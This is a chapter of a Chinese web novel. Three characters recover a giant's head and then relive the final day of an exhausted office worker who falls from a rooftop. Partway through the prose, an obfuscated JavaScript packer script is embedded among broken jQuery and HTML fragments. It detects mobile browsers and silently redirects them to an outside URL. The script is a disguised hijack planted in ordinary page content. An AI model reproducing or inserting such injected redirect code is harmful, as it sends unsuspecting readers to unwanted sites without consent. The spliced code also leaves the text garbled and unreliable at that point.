金晟夕记下头颅在苍蝇体内的具体位置后,收起手中工具,又把泡面杯放回原位,然后去开电脑。屏幕壁纸是一张项目时间表,上面密密麻麻的全是会议时间和工作事项。
杨新看得发怵:“这根本没有休息时间啊!”
他记起历史书里讲过旧时代的人类曾有一段时期实行007工作制,二十四小时连续一周无休止地上班。
很明显,这台电脑的主人正在经历这样的工作节奏,每天除了绘制设计图,还要参加各种会议,并且已经持续了数月。
过劳死的吗?
苏喻和杨新同时如此想到。
而金晟夕则快速翻看电脑里的文件夹,最后停在一张图片上。
“一只鲸鱼?”杨新看得满脑袋问号。
金晟夕翻了个白眼:“仔细点看,这是虎鲸,而且不止一只。”至此,她已有了眉目。
杨新还是没看到别的虎鲸,直到苏喻指出才注意到,除了一只游在海面上的大虎鲸外,还有一条小虎鲸侧躺在它的背上,一动不动的,显然已经死了。
俩人一时没能理解眼前这一幕,更没料到金晟夕会突然开口:“我要出门一趟。”语气随意得就像只是出门扔个垃圾。
但显然不是。
杨新问她要去做什么。
她笑了下:“找核心。”
两个小朋友震惊不已。
杨新不停地问问题,金晟夕只重复强调一件事:这趟只能她一个人出去。
杨新不爽又无奈:“你至少说一下你的外脑账号啊,不然我们怎么联系你?”
苏喻提醒:“杨新,外脑也没有信号。”
金晟夕挥了挥手:“而且我也没什么外脑。哎,你们别折腾了,在这里等我就行。”
杨新只好放弃,苏喻则越发困惑。
毕竟外脑和天信不同,是跟空气一样对现代人相当重要的基础设备,衣食住行都离不开它。哪怕再穷,也会捡个便宜货将就用,可金晟夕竟然说她没有。
从遇见的第一眼,苏喻就一直在揣测她的身份,大多时候都往好的方向想,即便有一点自欺的乐观在。可此刻,她不可避免地想到另一种可能。
金晟夕是个逃犯。
这个念头立即被压了下去:不可能,身上有席家logo物品的人,不会是逃犯。
而此时,金晟夕压了下她的肩膀:“照顾好自己,也看着点杨新。”
苏喻心底一暖,忘却掉刚才的猜疑,只顾着看她笑得没心没肺地出了门。
门在身后合上,外面一片漆黑。
金晟夕闭上眼睛,停了半秒再重新睁眼,适应黑暗后,立即朝目标方向跑。
很快抵达目的地:巨人的颈部。
之前她只观察巨人的正面,只注意到最醒目异常的部位:心脏上的那扇门。而刚才攀爬时,又是沿着巨人左侧一路向上,自然错过了另一处细节。
那就是在巨人颈部下方的右后侧,藏着这么个玩意儿。
金晟夕绕着它走了一圈,来到巨人的肩胛骨处,再次抽出解剖刀,压低身体重心,猛地起跳后,双手合握刀柄,借着下坠的重量将刀锋从背部斜着送入。
刺——啦——
刀锋从脊背绕到胸前切了一圈,大片碎纸屑纷飞而起,烟尘滚滚。
巨人动了。它伸出大掌从侧上方压下,试图按住这道新生的破口。
金晟夕在手掌落下前已后撤,直奔颈项上的那盏探照灯。
咣当一声,灯被她一脚踢飞,空出头颅的位置后,她转身对巨人吼道:“快把你的头拿出来,放在这里!”
原来,巨人的头颅就嵌在颈后下方的位置。
那颗头压塌了颈椎,致使肩胛骨被迫向两侧错开,右肺被挤得支离破碎。如果他们方才是从右侧爬上来,大概会在半途与头上那双突起的眼睛余光相对上。
一想到这画面,金晟夕就有点遗憾。早知道就从这边上了,还能给那两个小孩练练胆。
坏笑着看向上方,巨人已从中取出人头,头上的黑发随风飘扬,露出端正的五官,年纪看着三十岁左右。
这张脸这颗头这个人,应该就是林疏港,一名因高坠而亡的职场打工人。
想到她的死因,金晟夕不禁凝眉。
这时,头颅已回到颈上,巨人正在调整脸的方向,森森然的眼睛刚好转了过来,正对着她。
不知怎的忽然感到头脑昏沉,自己的意识正被拽进去!
~
另一边,门内的苏喻和杨新在等待。
苏喻坐在电脑前一动不动,杨新则在房间里来回走动,从桌前走到门口又再折回去,每次停在苏喻身旁想说点什么,最后又什么都没说。
他们等了整整一小时。
杨新终于忍不住掰下门把手:“我去找她。”
苏喻摇头:“出去会被吸附。”
这也是金晟夕让他们留下的原因。巨人肯定已经补好身体,他们不可能再爬向体外,而体内要经过各个脏腑,不知会不会遇到类似胃壁那样的险境。
杨新烦躁地抓了抓头发:“可她一点消息也没有,不会是……”话音未落,他忽然看到苏喻被电脑屏幕吸了进去。
“苏喻!”
他冲上前去想抓她的手,却一同被拖进了电脑里。
俩人再度睁眼时,发现自己正在往下坠,四周一片漆黑,过了一会儿,两侧开始亮起零碎的画面,像穿梭在胶卷当中。
他们没想到会看到林疏港死前的遭遇。
林疏港已连续加班好几个月,每天干到凌晨才下班,睡前一想到领导的批评就会哭,睡四五个小时就会被手机震醒,睁眼的第一件事是回复手机里弹出来的一条条消息。
手指机械地敲字:好。收到。马上给你。
她很疲惫,但只能一直撑着,撑到八月的某个台风天。
项目进入收尾阶段,工作量反而骤增,所有对接部门都卡在截止日期前才给修改意见,她只能一条条整理和调整后向上汇报。
时间紧迫。
交稿前还被纸划破了手指,裂开一道细长伤口,血珠从中渗了出来,她看了一眼,简单擦了下,继续干活。
终于到了饭点,她给自己泡了碗面。热水刚倒进去,塑料叉子还没来得及掰开,手机再次震动。
嗡——嗡——嗡——
林疏港的身体瑟缩了两下。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127230|196138||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“我赚钱只是想吃口饭而已,为什么连饭都不让我吃?”
低声埋怨又有什么用?她被自己的话逗笑了,笑得胃里发酸,笑到想把手机摔了,让它彻底安静。
可手机还在震。
林疏港吸了口气,面无表情地接通,一声不吭地听完,应了句好后挂断,拿起文件去找领导。
回来时,泡面已经彻底坨了。
她盯了好几秒,还是低头一口一口吃掉。泡开的面条软塌塌地黏在一起,味道糟糕得让人怀疑人生。而且吃完后,她才发现面汤里多了只苍蝇。
她感到更痛苦了。
就这样去度过一整个下午的会议,晚上才有空处理分内事,时间飞逝,回过神来又是凌晨。
从椅子上起身时眼前突然一黑,她倒了杯水一股脑喝下去,勉强稳住,但胸口还是发闷,胃也开始绞痛。
她索性上了天台。
台风已经停歇,但风依旧很大,吹得人很舒服。
眨了下眼,对面楼顶的飞机映入眼帘。
公司园区很大,建筑、机械,各种试验项目挤在一起,其中也包括飞机的设计与制造。她原本对这些毫无概念,专业也不相关,却清楚记得第一次站在天台看到那架飞机时的感受:那是极致的美,望着它就能洗涤内心的疲惫。
最开始只是看,后来干脆去找资料,零零散散学了些飞机设计的基础知识,画了几张图纸,设计想法相当粗糙,她却很满足。可渐渐地,那些草稿只能因繁忙的工作而蒙尘。
远处的飞机也似被蒙了尘,风吹得人睁不开眼,于是为了看清对面的飞机,林疏港扶住栏杆,身体前倾,就在这时,身后忽然响起一阵清脆声响。
心猛地一跳,下意识以为是手机,转头却看到一颗螺丝在地上滚动。
正要走过去捡起来看,口袋里的手机还是震了。
林疏港确认自己没听错,恍惚地拿出手机,屏幕亮起,甲方发来的十几条语音消息接连出现。
让人窒息。
苏喻和杨新在一旁看着她的背影只觉得压抑。
林疏港已经工作了六七年,时间并没有让事情变得轻松,只让忙碌变得持续,让紧绷变成日常。
大风从天台上掠过,她低着头,掉着眼泪。
突然间她举起手!
梆的一下,手机被狠狠甩向地上,外壳崩裂,零件四散开来,与那颗螺丝混在一起。
苏喻和杨新一时无法理解眼前发生的一切。
因林疏港摔了手机后,身体突然失去平衡,天台上的风还突然增强,她来不及站稳,人已越过了栏杆!
五百多米的高度,几秒后传来一声巨响。
砰——!
这栋楼外有电线、广告牌、遮阳蓬之类的物件,会切割肢体,甚至导致尸首分离。
林疏港的遭遇更惨不忍睹,整颗头颅直接嵌入体内,变成了一具无头碎尸。
她明明是害死队长们的元凶,可当她以这样的方式死去,苏喻和杨新的内心只剩下沉重,人也已经完全懵了,没能察觉到周遭环境的变化。
脚下的地面已经消失,两人再次坠落。
啊啊啊啊啊!